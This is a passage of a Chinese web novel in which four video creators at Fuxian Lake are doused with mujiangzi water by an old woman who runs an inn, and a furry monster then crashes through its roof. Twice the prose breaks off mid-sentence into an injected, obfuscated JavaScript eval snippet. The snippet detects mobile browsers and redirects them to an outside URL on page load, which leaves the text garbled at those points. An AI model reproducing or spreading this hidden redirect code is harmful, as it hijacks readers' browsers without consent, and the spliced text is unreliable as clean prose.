一听这话,再看看三个男人的狼狈模样,小悦悦强忍笑意继续说:“我看这个老奶奶也是好心,俗话说得好,宁可信其有不可信其无啊!咱们在这边人生地不熟的,也不知道这边的风俗,就怕犯了什么禁忌……” 这几句话倒是戳到了吴沅,他父母常年经商,为了生意兴隆,逢年过节都要拜拜,这些年爸妈的生意也确实做得顺风顺水,让他吃喝玩乐不愁,从小耳濡目染,他在这些方面也格外注意,甚至在工作室里也供了财神和各路菩萨。 虽说也是接受了多年的唯物主义教育,但宁可信其有不可信其无,不怕一万就怕万一嘛! 吴沅咬了咬发干的唇,问老太太:“那要怎么办?脱了衣服就行?” “先把衣服脱了!还有,你们今晚不能回去住了,为了安全起见,我给你们安排个地方!” “还要换地方??”一听到还要换地方,一群人又犹疑了。 “你们现在住在什么地方?”老太太问。 小悦悦傻呵呵的,想也没想就扬手指了指不远处的一座山头,“就那里。” “哦,别墅啊!” 老太太似乎有点看不上,顿了顿说:“那地方没得吃没得玩的,多无聊,我给你们安排的地方,有吃有喝又有玩,来抚仙湖一趟,不想住住当地特色的客栈?不想吃吃当地的特色菜?不想感受感受当地老百姓的生活?” 说着又看向小悦悦,继续加码:“女孩子不想穿穿少数民族的衣服拍拍美照?” 几句话就说得起子、大志和小悦悦都动了心,他们这趟来云南,除了工作就是工作,要么就在别墅呆着,也没怎么出去玩,就更别说体验当地风情了,确实有些遗憾,要真能够体验体验,感受感受,那当然好事一桩啊,哪有拒绝的道理。 瞬间就只剩下吴沅站在一边不为所动,一脸嫌弃的看向迅速倒戈的三人,低声吐槽:“一个个的,也不怕别人把你们给卖了!” “我们这三个壮汉再加上一个猛女,还怕被一老太太骗?”起子不以为意。 大志和小悦悦也在一旁点头附和,但吴沅始终没同意,毕竟是他带着一群人出来的,又在外地,他得为一群人的安全负责,虽然害人之心不可有,但防人之心不可无啊,突然出来个老太太,要他们这样那样,着实可疑,不得不防。 “这衣服脱了就脱了,这换地方住就不用了吧,我们住别墅挺好的。”吴沅看向老太太,礼貌地拒绝。 见几个人磨磨唧唧磨蹭半天都没拿定主意,老太太像是很生气,突然提高嗓门:“好好好,既然你们都不担心自己的命,我一个老太婆担心什么呢?等明早你们沉尸湖底,连尸体都找不到,就知道后悔了!” 这话着实惊悚,听得人毛骨悚然,吴沅一向惜命,更是听不得这种不吉利的话,当下就有点挂脸,你说好好的,一老太太突然出来各种咒你,谁能高兴。 “咋?你的意思是,我们不换地方,今晚就必死无疑?”吴沅差点气笑了。 还不等老太太说话,他又补了一句,“您就实话实说,您是不是跟这里的什么客栈民宿有合作,介绍我们入住能拿提成?您要说实话,我们去住也没问题,你要说这些吓人的鬼话,我可就听不得了!” 倒是合理的猜测,先前还各种怂恿、跃跃欲试的起子、大志和小悦悦都琢磨过来了,也以为老太太是为了挣钱,心里顿时有些不爽。 “亏我们头儿之前还包圆了您的小吃,您怎么这样啊……羊也不能逮着一只薅吧!”小悦悦有些不满地看向老太太,埋怨道。 这下轮到老太太无语发笑了,她无奈地摇摇头:“谁说要挣你们的钱了,不要钱!我自己的房子,要你们什么钱!我就是觉得你们几个年轻人心好,担心你们出事儿,唉!” 她说着叹了一口气,顿了顿和缓了语气,又接着说:“算了,算了,跟你们说实话吧!你们不是在山上看到那怪东西了吗?身上沾了味儿,我担心晚上有东西会寻着味儿去找你们麻烦!这样你们先去看看,不行就走,这青天白日的,我一老太太能把你们怎么样?!” 说完又是长叹一口气,这话说得倒是诚恳许多,说得有鼻子有眼、有理有据的,听得吴沅心里也打起了鼓,另外三个人意志不坚定,瞬间又转了向。 “这人家都不要钱,过去看看也行吧……万一……”小悦悦小心翼翼地说着,边说还边看吴沅的眼色。 老太太的话已经说到这份上,吴沅的内心也松动了,他本来就惜命,不怕一万就怕万一嘛,万一这老太太说得是实话呢?去看看也行,反正不行就撤!这样一想,他便做了决定。 “行行行,脱脱脱!换换换!” 老板一声令下,几人赶紧行动起来,先是四处望望,见这一带没什么人,赶忙摘下背包,开始脱衣服。 很快,三个男人就脱到只剩裤衩,统一用手遮住重要部位,尴尬地排排站,看起来滑稽极了,小悦悦站在一旁笑得差点背过气去,几人见状一再警告小悦悦转过头不要偷看。 小悦悦才不管,看到此情此景,心想着机不可失时不再来,掏出手机就是一顿狂拍,三人见状大惊失色,赶忙扎着头左躲右闪。 起子急了,大喊:“哎呀,别拍了!别拍了!” 三人捂着脑袋,到处乱窜,跟无头苍蝇似的,大志也着了急,赶忙呼叫吴沅:“哎呀,头儿,你赶紧想想办法啊!人家还没结婚呢,呜呜呜呜……” “小悦悦,别拍了!再拍我就炒你鱿鱼啦!”吴沅没法,只能使出杀手锏,厉声恐吓。 没想到小悦悦天不怕地不怕,嘻嘻哈哈反而拍得更起劲了。 “哈哈哈,你炒我我可以去找游哥呀!游哥看到这些照片肯定很高兴,哈哈哈哈哈……” 一想着老板的黑历史在手,以后在公司就能为所欲为,小悦悦就乐得飞起。 三人这下彻底没招了,只能顾头不顾尾了,反正只要没拍到脸认不出人就行,最后三人直接摆烂,索性站直了捂住脸让小悦悦拍。 “行啊,你拍你怕!让你拍!” 三人突然这么主动,小悦悦反而没了兴趣,切了一声,默默收起了手机。 这群年轻人着实闹腾,又磨磨唧唧的,老太太整个头都大了,于是不耐烦地催促:“行了,行了,没时间胡闹了!” 她说着就掀开一旁三轮车上的盖板,露出几个不锈钢的大桶,学校食堂盛汤的那种,揭开大桶的盖子,瞬间抬起大桶,扬手就往几个人身上泼去,一旁的小悦悦也是没想到,讶异地长大了嘴巴,下意识往后退了一步。 只见满满一桶深色液体就朝着三人泼洒过去,液体中还参杂着颗粒状的物体,落到三人身上时,就像下起了冰雹雨,噼里啪啦,几个人惊恐万分,哇哇乱叫着躲开,随后一股浓烈辛辣的气味炸裂开来。 几秒之后,几个人头上、身上都是花椒大小的小颗粒,而吴沅闭嘴不及,那些小颗粒刚好砸进嘴里,他可不敢让这东西在自己嘴里停留一秒,赶忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319316|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噗噗往外吐,恼火地冲老太太喊:“你泼的什么东西?” 起子也很恼火:“你这个老太太怎么回事啊?脱衣服就脱衣服啊,怎么还泼脏水啊!” “放心,这是木姜子水,去味的!”老太太语气平淡。 大志吃过云南菜,知道当地人很爱用木姜子来做蘸水,确实有调味去腥的作用,他伸手从吴沅头上摘下一颗小圆球,端详了一下,然后放进嘴里,门牙上下咬合,汁液迅速在口腔炸开,他的脸迅速皱成了苦瓜。 “确实是木姜子!” 大志一边说话,一边嘴角耷拉着噗噗往外吐,这玩意儿味儿太大了,一般人可根本接受不了。 “啊?我还以为是粪水呢!颜色还挺像……”小悦悦语气中难掩失望。 吴沅狠狠瞪了小悦悦一眼,小悦悦毫不畏惧,幸灾乐祸地朝他龇牙咧嘴做了个鬼脸,吴沅差点气吐血。 几人说话间,老太太默默捡起他们脱下的衣服和背包,统统都塞进了刚刚已经倒空的大桶里,又顺手从车斗里掏出两条床单,扔给了光着身子的三人。吴沅毕竟是boss,起子和大志很自觉地合用一条,剩下一条留给了吴沅,算是给予了boss最大的尊重。 终于出发,几个人挤挤挨挨地坐在三轮车的车斗里,这三轮车是电动的,虽然看起来老旧破烂,但老太太驾驶起来,那真是风驰电掣,在环湖路上一路狂飙,裹在三人身上的床单迎风飞舞,活像三个出逃的木乃伊,几人觉得十分丢脸,于是只要路过人群密集区,三个男人就恨不得把脑袋埋进□□里,生怕被人看见了长相。 就这么一刻不停,路过了几个热闹的商业街区后,车速渐渐慢下来,小悦悦掏出手机看了看时间,这车差不多狂飙了四十来分钟了。 路边开始陆续有人跟老太太打招呼。 “哟,花姐,今天这么早就回来了?” “哟,花姐,来客啦?” 原来这老太太叫花姐。 这些人虽然跟花姐打着招呼,眼睛却不住地往车上几人身上看,被看得多了,连小悦悦都低下了头,毕竟和三个奇奇怪怪的男人同坐一辆车,实在有些丢脸…… 车从主路下来,开始在古旧的村庄中穿行,村庄的巷道很窄,路面都是由青石板铺就,三轮车像一条灵活的蛇,在巷道里绕来绕去,最后停在了一家挂满了鱼形彩旗和扎染画的小店门口。 花姐掀了掀车上的铃铛,不一会儿,一个年轻姑娘撩开扎染的布门帘走出来。 姑娘长得纤长匀称,穿一条看不出腰身的棉麻长裙,只露出纤细的脚踝和胳膊,身上挂着一个已经被颜料染得五彩斑斓的围裙,她头发乌黑油亮,剪着这地方少有的公主切发型,一张白皙小脸隐在发间,若隐若现,看起来别有一番异域风情。 三个“木乃伊”猫在车斗里,只敢透过床单的缝隙往外看,突然见到有美女出没,眼睛登时就亮了,但一想到自己眼下是这副模样,甚是懊恼,恨不得找个地缝钻进去。 姑娘拿着一包油纸裹着的东西,扬手就扔给了花姐,末了朝着车里的几人扬了扬下巴,问道:“又来了几个找死的?” 嘿,什么叫找死的?会不会说话啊?!三个“木乃伊”一听这话,顿时不乐意了,一拍大腿,作势要起身争辩,结果刚抬头跟姑娘切对上视线,就像泄了气的气球,气焰登时就萎了下去,一个个又狼狈地缩回车斗里。 起子捂着脸,心酸嘟囔:“但凡能有个体面的裤衩子穿上,哥们儿就上了,也不至于这么窝囊!” 吴沅摇头叹气:“我活了二三十年,也没遇过这么丢脸的时候,算了,忍忍吧!” 不忍忍还能怎么办?大志深知忍一时风平浪静的道理,赶紧把头埋得低低的,生怕被旁人看到了脸。 “这个花姐也是,我们都这幅鬼样子了,不赶紧把我们拉到客栈去,还到处溜达唠嗑,这是生怕我们不够丢脸是吧!”起子想想就来气。 “着什么急啊?看看美女不好吗?”小悦悦乐呵呵在一旁坐着看美女,完全不把三个木乃伊的死活放在眼里。 花姐下车和那年轻姑娘站在门□□头接耳,车头里的三个木乃伊那真是如坐针毡、如芒刺背,但又不敢出声催促,只能耐着性子等着。 过了好一会儿,话终于说完,年轻姑娘转身撩开布门帘,进屋了,花姐晃晃悠悠走回来,跨上三轮车,又继续上路了。 沿着石板路继续往上,迎面是一段斜坡路,三轮载着几个人吭哧吭哧往上爬,车本来就破,平路上都叮咛哐啷响不停,这会儿更是左摆右晃,咯吱叫唤,车上几人坐着胆战心惊,生怕这车散架,都下意识抓紧了车斗的边沿,准备随时跳车。 好在花姐很快就停了车,回头敲了敲后车斗。 “到了!” 一听到地儿了,车上裹着床单的几个人这才敢露出头来,小心翼翼往外瞄,车正正好停在一家客栈门口,说来也怪,这客栈依势而建,正好建在斜坡上,顺着来路往后望去,能看到一条条蜿蜒的道路和成片的灰色低矮建筑,清一色的悬山顶配小青瓦,透出一股拙朴的质感。 花姐从车头的筐里拿出油纸包,身姿矫健地下了车,她原地站定了几秒,抬头看了看门口的匾额,然后回身掀了掀车上的铃铛。 小悦悦紧随其后从车上跳下来,往前走了几步,目光掠过门前繁茂交错的树枝,看见客栈大门上方悬着一块匾,写着“在水一方”四个大字。 *** 15. 神秘村庄 客栈的木门唰一下开了,从里面迎出来一个笑容满面的小伙子,小伙子穿一套黑色短袖短裤,脸晒得黝黑发亮,一口牙白得晃眼,他小跑着过来,毕恭毕敬地接过了花姐手里的油纸包,又低声附在花姐耳畔说了些什么。 听罢,花姐点了点头:“知道了!今晚村子里要多安排些人手,动静弄大点!” 小伙子点头:“好!我过会儿就去安排!” 小悦悦立在一旁,一脸好奇地看着那个名为“花姐”的老太太,脑门上写满了疑惑,心想着,眼前这个花姐转瞬之间就仿佛脱了胎,换了骨,完全不似先前在烈日下辛苦兜售小吃的老妪模样。 不光她,吴沅和起子也看出了不对劲,这个老太太显然并不普通。 小伙子跟花姐说完话,朝她身后看了看,打量了一下从车上下来的四个人,问道:“花姐,这几位要怎么招待?” 花姐回头看了一眼,想了会儿说:“就安排在白露间吧!” 听到这个回答,小伙子像是有些意外,愣了几秒,之后才答:“明白!” “还有,把他们脱下来的衣服拿去处理了!” “好!” 交代完,花姐背着手就进了客栈,留下小伙子来处理后续的事情。 小伙子看起来年纪不大,身上还保留着一点少年的青涩感,他似乎很爱笑,笑起来眼睛弯弯的,眼周的纹路很深,看起来傻呵呵脾气很好的样子。 “帅哥美女好,我叫小豪,以后大家有事就找我哈!”小伙子很热情地自我介绍。 四人客套敷衍地回道:“哦,你好!你好!” “那咱们进去吧!先去看看你们的房间,好好洗漱一下,再换一身干净衣服,过会儿我让人给你们准备!” 几人点了点头。 “还有,你们换下来的衣服我就拿去处理了哈!” 小豪说着就要去拎车斗里的桶。 吴沅想到他们的拍摄设备还在里面,赶忙阻止:“哎小豪,这个桶就我们自己来拎吧……谢谢你啊!” 说完,还礼貌地补了一句:“啊,我们有些重要的东西在里面,我们自己处理比较好!” 小豪低头看了看桶,笑着说:“这样啊!但这些衣服是不能留了,里面的重要东西我会帮你们拿出来除一下味道,这样会安全点!过会儿我直接给你们送到房间去,你们放心!” 那吴沅可真放心不了,包里装着不少他们拍摄的装备,好多素材也都在里面呢,那可都是千辛万苦才拍到的,平时他都生怕丢了,恨不得上个厕所都带着,眼前这小伙子愣头愣脑的,要是处理不小心,视频内容损坏了,他哪里说理去。 “要不这样,那些衣服你们想怎么处理就怎么处理,但背包里装着我们的拍摄设备,非常重要,处理不小心就容易损坏,所以最好还是我们自己处理。” 吴沅见对方是好心,说话也尽量客气,但态度十分坚决。 其他几人听到这里也不停点头,表示赞同。 小豪见对方坚持,也不便再说什么,答应会把背包里的东西拿出来给他们,之后这几人才跟着小豪往客栈走。 客栈的门头看起来平平无奇,起子忍不住低声吐槽:“这客栈也没见多好啊!那个花姐还信誓旦旦说这里多好多好,是不是骗人的啊!” 大志和小悦悦虽然没说话,但面上都已经露出了失望的神情。 一旁的吴沅见状,有些幸灾乐祸,乐呵呵地揶揄道:“哎呀,我看这地儿比别墅强,你们看看这还有个门呢!” 众人无语。 说话间,小豪已经走出很远,几人赶紧快步跟上,一起涌进大门。 进门还没走几步,几人一抬头,一个个都看傻了眼,嘴巴半张着半天都合不上。 原来这客栈外面虽然看起来普普通通,里面却是别有洞天。 客栈整体是个二层的小楼,进门就是一个宽敞的院落,一条青石板铺就的小路蜿蜒向前,直通客栈大厅,院落两侧种植着各色花草,看得出来所种的品种和种植区域都经过细心的挑选和设计,花草相映,高低错落,别有一番曲径通幽的雅趣,正值花期,各色的鲜花开得正艳,微风拂过,芳香扑鼻。 再往里走,院落中央的位置留出了几块宽敞??平整的场地,搁着长条木桌和椅子,一旁还搁着烧烤架,应该是用来露天烧烤的,还有一块空地上放置着好几张躺椅,躺椅前面悬着一张宽大的幕布,应该是用来放露天电影的。 此时,几个裹着床单的男人也顾不得遮遮掩掩,都露出头放肆地看起来。 大志兴奋地捣了捣起子,“哎哎哎,看来那个花姐没骗人!” 起子顿时有一种啪啪打脸的感觉,毕竟进门前他还在吐槽这客栈不咋地,觉得花姐可能是个骗子,但此刻他不得不承认眼前客栈的居住环境很不错。 走在他们前面的小悦悦,一直“哇哇哇”感叹不停,忙不迭地拿手机一顿狂拍,拍完还不忘数落自己的老板。 “哎头儿,你说来抚仙湖的时候怎么不订这一间客栈啊,选的那间别墅又贵又没啥玩的!” 吴沅眯着眼环绕四顾,不屑地勾起嘴角,挑剔道:“这地儿也就一般啊!很好嘛?” 起子无语:“老板,这地儿还一般呐,你不要太离谱哦!” 大志也附和:“就是!我看这里非常不错!度假就要住这种地方!” 吴沅冷笑:“我们是来度假的吗?我们是来工作的!” 大志知道自己说错了话,赶忙打哈哈:“哈哈哈,我是说如果来度假的话,就应该订这样的客栈……” 吴沅心想,好赖话都让你们说了是吧?之前订那个别墅的时候,一群人不也乐不可支吗,这会儿又嫌弃上了,你们还真是喜新厌旧,见一个爱一个呢! 大志见吴沅没说话,以为他真生气了,想赶紧转移话题,想了一圈之后,拿胳膊肘戳了戳吴沅,小声说:“哎,头儿,你有没有觉得那个花姐身份不简单!之前还在卖小吃呢,这会儿来客栈了又像个大姐大……” 吴沅爱答不理的嗯了一声。 “对对对,我也觉得!要不去打听打听怎么回事儿?”起子赶忙凑过来附和。 小悦悦怂恿他:“那你去问问那个小豪啊!” “问就问!” 起子快走两步追上小豪。 “你是说花姐?哦,她是这间客栈的老板!”小豪笑着说。 这个答案似乎有些出乎意料,但又好像在情理之中,几个人互相看了看,一时都不知道该如何反应。 “所以,她之前在路边卖小吃只是为了……体验生活?”大志有点想不明白。 没想到到处都是有钱人,起子的情绪突然低落,于是酸里酸气地接话:“也有可能,有钱人不都有点独特的癖好么……” 此话一出,三人同时看向吴沅。 吴沅被看得莫名其妙,无语地说:“看我干嘛,我什么样你们不知道啊,我又没有什么见不得人的癖好!” “那可不一定!”小悦悦像是突然想起什么,脸上露出嫌弃的表情。 “哦?”起子见有瓜吃,赶忙冲着小悦悦挑挑眉,“怎么说?咱们头儿还有什么不为人知的秘密吗?” 大志闻言也赶紧把耳朵附过来。 “我跟你们说,上次在办公室我不是找人换现金嘛,头儿让我自己去他办公室拿,我翻开他的钱包后,他们知道我看到什么了?” “什么?”起子和大志一下来了精神,眼睛亮闪闪的,异口同声地问。 小悦悦瞥了一眼吴沅,撇了撇嘴角,嫌恶地说:“一张性感女人的小卡片,就那种那种……” 小悦悦说着,不停用手在自己的身体轮廓上描摹出女人曼妙的身体曲线。 “哦~想不到头儿有这癖好……”起子和大志做出恍然大悟状。 “那特么是lisa!!”吴沅无语咆哮,“粉墨知道吗?就挺火那个女子组合……” “哦……”三人像是突然明白过来,结果紧接着就摇头,“不知道……” “你们到底是不是年轻人,连她们都不知道!”吴沅说着又看向小悦悦,“年轻女孩儿不都挺喜欢吗?” 小悦悦眉毛一挑,像是又get到了什么不得了的信息,忙问:“年轻女孩儿?你是说哪个年轻女孩儿啊?” 吴沅自知说漏了嘴,当即选择闭嘴,其他三个哪肯放过,一直在他耳边叽叽喳喳闹腾个不停。 一群人就这么吵吵闹闹了一路,此时大厅一侧的茶室里坐着一个戴着鸭舌帽的男人,男人帽檐压得很低,一条胳膊搁在窗棂上,另一只手里端着杯茶,姿态悠哉悠哉,听到说话的声音,他扭头朝着庭院中心的小路看过去,待看清几人的造型后,嘴角勾了勾。 越往里走,越能看见客栈的整体布局,小豪也很是尽职尽责,边走边给他们介绍,客栈规模不小,整体是一个二层的建筑,大厅一侧是一间突出去的茶室,而另一侧则是住宿区,住宿区为了让每间房都能一睹抚仙湖的美景,所以拐了弧度向外延伸,沿着湖岸修建,用回廊来连接,看起来这间客栈当初在设计修建时花了不少功夫。 一边聊一边看,一行人很快就到了大厅门口,大志和起子先跟着小豪进去了,吴沅正准备往里走,小悦悦一把拽住吴沅,身子往他那边靠了靠,压低了声音说:“哎!头儿,就那个花姐说什么鳞片,什么怪东西的,到底是什么啊?你们到底看到了啥?” 吴沅想了想,其实花姐的话就已经包含了所有的重要信息,要让他再细说他也不知道咋说,只能敷衍地说:“她不说了嘛,就一怪东西!” 小悦悦心梗:“我知道是怪东西!你就不能详细给我讲讲?” 吴沅实在懒得说,忙把她往大厅里赶,“去去去,你问起子去!” 小悦悦没辙只好走人,临走前她突然做作地摆出一副冷艳高贵的姿态,回头瞥了吴沅一眼,“头儿,以后跟我说话要注意一下态度,别忘了,我可是有你黑照的人!” 说完,邪魅一笑,顺势晃了晃手里的手机。 吴沅:“……” 几人在大厅办好入住,安全拿到了摄影装备,就跟着小豪往“白露间”去了。 所谓的“白露间”,其实是房间的名字,这里的房间都以节气命名,比如霜降、立春等。 白露间很大,还是个套房,外面的大间里还套着一个小间,屋里各个功能分区都做得很完善,小豪带着他们简单转了一下,就出去给他们拿换洗衣服和鞋子去了。 几个人也没讨论,就自动就分好了房间,里面那间小一点,但一整面的落地窗可以看到抚仙湖,还带着一个独立的卫生间,适合小悦悦住,几个男人非常自觉地住在了外面的大间。 等小豪拿换洗衣服的间隙,几个人窝在沙发里闲聊,小悦悦就缠着起子和大志给她讲烂尾别墅里的见闻,一问这个,起子就来了劲,站起来张牙舞爪地讲得绘声绘色,听得小悦悦差点惊掉了下巴。 “啥?啥?啥?是个蛋?” “哎呀,准确地说也不是个蛋……”起子一时不知道该如何描述,郁闷地挠了挠头。 大志接着补充:“反正长得很像蛋,表面上还有鳞……” “鳞?鱼鳞那种鳞?” 起子想了想:“差不多把,就是比普通鱼鳞大上了几十上百倍吧!” “啊??”小悦悦微微咂舌。 “你知道吗?我们灯一打过去……”起子跟说书似的,说着说着卖起了关子。 小悦悦忙不迭地问:“怎么了?怎么了?” “里面的东西……竟然动了!” 起子说话一惊一乍,吓得小悦悦浑身一抖,她刚准备发作,突然有人敲门。 开门一看,是小豪送来了衣服和鞋子,吴沅一下子从沙发里蹦起来,拿上衣服就冲进了浴室,速度快得像阵风刮,起子和大志拿着衣服,望着吴沅的背影感叹:“这速度看得出来以前干过体育!” 这之后,三个男人洗澡花了很长时间,毕竟身上都恨不得腌入味了,洗来洗去总觉得身上还有一股木姜子和腥臭味混合的怪味,最后洗完出来都精疲力尽了,一个个瘫倒在沙发里,一动也不想动。 躺了好一阵,客房的电话突然响了,三人你看看我我看看你,都不愿意起身去接,最后还是小悦悦骂骂咧咧从里屋出来接了电话。 是小豪打来的,问他们中午的餐点要不要直接送到房间,几人不禁感叹,这小伙儿还真是观察入微、善解人意。 大约过了二十分钟,餐品就送了过来,菜色相当不错,卤饵块、铜锅煮鱼、铜锅洋芋饭、峨山舂鸡、青松烧鸭,都是当地特色菜,最后以木瓜水作为甜点结尾,大家都吃得心满意足。 本来吃饱就容易食困,再加上折腾了一个上午,大家都累了,吃完就困意上头,各自回去睡了。 这一睡就睡得天昏地暗,小悦悦醒来时,外面的天都黑了,她开门出去发现几个男人还睡得鼾声四起,她也不管三七二十一,挨个跳到他们床上蹦迪,大喊着:“别睡了,别睡了!” 一番折腾后,成功将他们统统薅了起来,几个男人睡眼惺忪,一脸懵,小悦悦生怕挨打,赶忙闪到一边,龇着牙笑得无辜乖巧:“饿死了,我们吃饭去吧?你们想吃什么?” *** 几个人穿着小豪给的清一色的黑色短裤短袖,脚上穿着夹脚拖鞋,踢哩嗒啦就出了门,沿着长长的回廊往外走,沿路安安静静的,没有一点声音,也没有遇到其他的客人,大家都觉得奇怪。 又走了一段,他们就看到小豪在大厅门口正跟一姑娘在说什么,走近一看,发现那姑娘就是他们回来路上遇到那个剪着公主切发型的美女。 起子一看到美女就激动了,再加上现在不似先前的狼狈模样,顿时自信了不少,于是欠欠地朝人家招手打招呼。 “嗨,美女!” 结果美女根本不理,转头就往大厅一侧的茶室走去,只留给几人一个冷冷的背影。 起子悻悻地瘪了瘪嘴:“果然,美女都高冷!” 大志幸灾乐祸地调笑:“那是美女高冷吗?那是个女的就对你高冷!” 吴沅和小悦悦一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在场其他人一个个看热闹正起劲呢,结果剧情突然戛然而止,都有点扫兴。 气氛突然有些尴尬,好在没过一会儿就有人进来。 进来的是一个黑瘦精干的男人,戴着鸭舌帽,他径直坐在了美女的旁边,然后有些自来熟地主动跟吴沅他们搭话。 “你们也是来抚仙湖旅游的?”男人问。 “嗯。”吴沅点点头。 “那你们这时间挑得好,现在是抚仙湖最美的季节,没什么大风大浪,湖水也澄澈……” 吴沅点点头,反问:“哥们儿你呢?也是来旅游的?” 男人笑了笑:“我啊,来这边看看有什么生意可做……” 吴沅听对方说话的口音很熟悉,又问:“您哪里人?” “荆水!” 吴沅有些意外,忙说:“那我们离得很近,开车3个小时就到了,怪不得我觉得口音很熟悉!” 两人一来一往,聊得正酣,男人习惯性地从裤兜里摸出一盒烟,正准备抽一根出来点燃,一旁的美女说话了。 “要抽烟出去抽,有点素质行不行?!” 男人斜眼看了看美女,也没生气,嘴角勾起笑了笑,跟吴沅示意了一下,就起身出了餐厅,径直往门外走去。 果然,美女对谁都是一样冷酷,起子见状内心突然释怀了不少。 菜上齐的时候,花姐也过来了,她重新梳洗换了一身衣服,整个人的气质都不一样了,小悦悦看着花姐,啧啧感叹:“果然钱气养人!这简直就是判若两人嘛!!哎,也不知道我什么时候能成富婆!” 起子存心气她,接道:“下辈子!” 小悦悦当即刀了他一眼,腿在桌下磨刀霍霍,一脚猛踢过去,这一脚踢得不轻,起子差点叫出声,奈何美女就坐在对面,他也不好发作,只能强忍着。 一桌陌生人坐在一起吃饭,开吃前,花姐也没说让大家相互介绍一下,只是对着吴沅他们说,让他们安心住下,以后有什么事就交代给小豪。 吃饭的时候,气氛也很诡异,大家都各吃各的,也不说话,搞得吴沅他们频频看眼色也都不敢说话,一时之间整个餐厅里就只有咀嚼声和筷子碰到碗碟的声响。 这可憋坏了吴沅,他嘴巴虽然吃着饭,眼睛却滴溜溜地观察着在座的这些人,一刻也没闲着,正当他准备跟一旁的大志低声说话时,美女突然停下动作,竖起耳朵,下一秒像阵风一样起身冲出门外。 就在这分秒之间,吴沅注意到花姐慢悠悠地放下了碗筷,双眼目视前方,像是在等着什么。 等屋里所有人都反应过来,美女已经站在庭院里的空地上,仰头看向屋顶,视线机警地在屋顶上方来回搜索,末了冲着高处大喝一声:“谁?” 话音未落,她扬起手臂,手里也不知捏着什么,猛然向高处一掷,随后屋顶有细碎的声响,几人这才惊觉屋顶上有人,于是纷纷起身跑出去。 一群人站在空地上,齐刷刷抬头向屋顶上看,美女紧盯着一处,突然一道黑影从屋顶一闪而过,美女扬起手臂,又是一下,吴沅这才看清,美女手里捏着的竟是根筷子,她手法很准,带着力道,那道黑影明显被击中停顿了一下。 美女趁着这个空隙,赶忙冲到廊柱下,手脚奋力向上攀爬,她手脚灵活非常,几下就已然爬到了房顶。 带鸭舌帽的男人见情势紧急,将小拇指塞入口中,吹出一串清脆的口哨,二楼的回廊里立马闪出一群黑衣人,男人率先爬上屋顶,紧随着美女追出去,而那群黑衣人也紧随其后追出去,不一会儿就消失在视线里。 院子里顿时热闹起来,小豪也急匆匆带着一群黑衣壮汉跑过来,花姐一声令下,壮汉们四下散开,也都奔着那道黑影而去,与此同时,整个村子都热闹起来,四面八方的脚步声、锣鼓声在天幕间回荡,像是在过什么节一般热闹。 一旁的吴沅几人看得目瞪口呆,简直就像在看一出动作大戏。 过了一阵,花姐无事发生一般,冲着吴沅几人说:“没事,咱们继续进去吃饭吧!” “啊?”吴沅也是没想到,这种情况还怎么吃得下去啊,“我吃饱了!” “我也吃饱了!”起子跟着说。 “我们都吃饱了!”小悦悦也紧随其后。 “那都吃饱了,就喝杯茶,聊会儿天吧!”花姐坚持。 这种情况回房间也不见得安全,一群人聚在一起似乎更有安全感,于是几人又跟着花姐重新回到茶室,经过刚刚一出,几人还惊魂未定,一时找不到什么话好说,只能埋头喝茶。 就这么喝了一会儿,吴沅突然觉得不对劲,就觉得屋顶上有东西,他不时抬眼往上看,又没有发现有什么异常,他只能自我安慰是心理暗示在作祟。 可没过一会儿,大家都觉出不对劲了,起子听到一种尖利的东西在划擦瓦片,一下一下,力道很重,他听得心里发毛,忍不住发问:“屋顶上是不是有什么东西啊?” “我也听见了!”大志有点发抖,他推了推一旁的吴沅,“头儿,你听到了吗?” 吴沅强装镇定,点了点头。 小悦悦缩着脖子,仰头看着屋顶,惴惴不安地低声自语:“不会真有什么东西吧?” 花姐见几人吓得魂不守舍的模样,突然神秘一笑:“那东西,终于来了!” 说话间,他们头顶上方的瓦片被掀开,一坨粘稠腥臭的液体从天而降。 *** 16. 怪物 一道黑影紧随其后砸了下来,咚一声巨响,正正好落在茶桌上,瓦片、杯盏噼里啪啦碎裂一地,几人条件反射地惊叫着从茶桌边弹开,也不管看没看清楚砸下来的是什么,拔腿就往门外跑。 吴沅一马当先,充分展现出了退役运动员的速度和求生欲,几步就窜到了门口,小悦悦叽里哇啦尖叫着紧随其后,起子和大志也急匆匆地跟了出去。 茶室很快就安静下来,只能听到院外忽远忽近的锣鼓声,已经出门的几人见屋里又没了动静,一时间好奇心作祟,又回身小心翼翼猫在门口,探头往屋里看。 只见那东西还一动不动地趴在桌上,而花姐就站茶桌不远处,眼睛一眨不眨地看着那东西,面上没什么表情。 危险的状况没有发生,一切似乎是他们太大惊小怪了,但同时,他们心里都产生了一个疑问:桌上那东西到底是什么? 该怎么形容那东西呢?打眼看过去,黑乎乎一团,就像一块软趴趴的皮料子,上面覆着黑色密实的长毛,长毛被凝胶状的液体浸得湿漉漉的,还散发出阵阵腥臭味。 起子觉得这味儿有点熟悉,皱着鼻子使劲嗅了嗅,突然浑身一震,猛的抓住了吴沅的胳膊,声音都带着颤:“头儿,这味道,跟我们在烂尾别墅里闻的味道……” 他没有继续往下说,但吴沅和大志登时就明白过来,这味道他们分明在烂尾别墅的地下室里闻到过,几乎一模一样,只是浓度略有不同,此时再一次闻到,一下子就打开了记忆的阀门,各种画面咻咻咻地飞速在脑海中闪过,最后停留在地下室鳞片堆里的那个“水球”上。 那个水球静静卧着,看起来十分怪异,上面松松垮垮地覆着鳞片,内里的液体之下是黑乎乎的一团东西,灯光一打过去,那东西竟然动了。 那黑乎乎的一团竟然是活的。 一想到这里,几个人脑瓜子嗡嗡的,一时间心跳如鼓,他们表情复杂地互看了一眼,一个大胆的猜想渐渐在脑中成型。 起子心慌地舔了舔发干的嘴唇,口中喃喃:“不会是那个‘异形’跟过来了吧……” 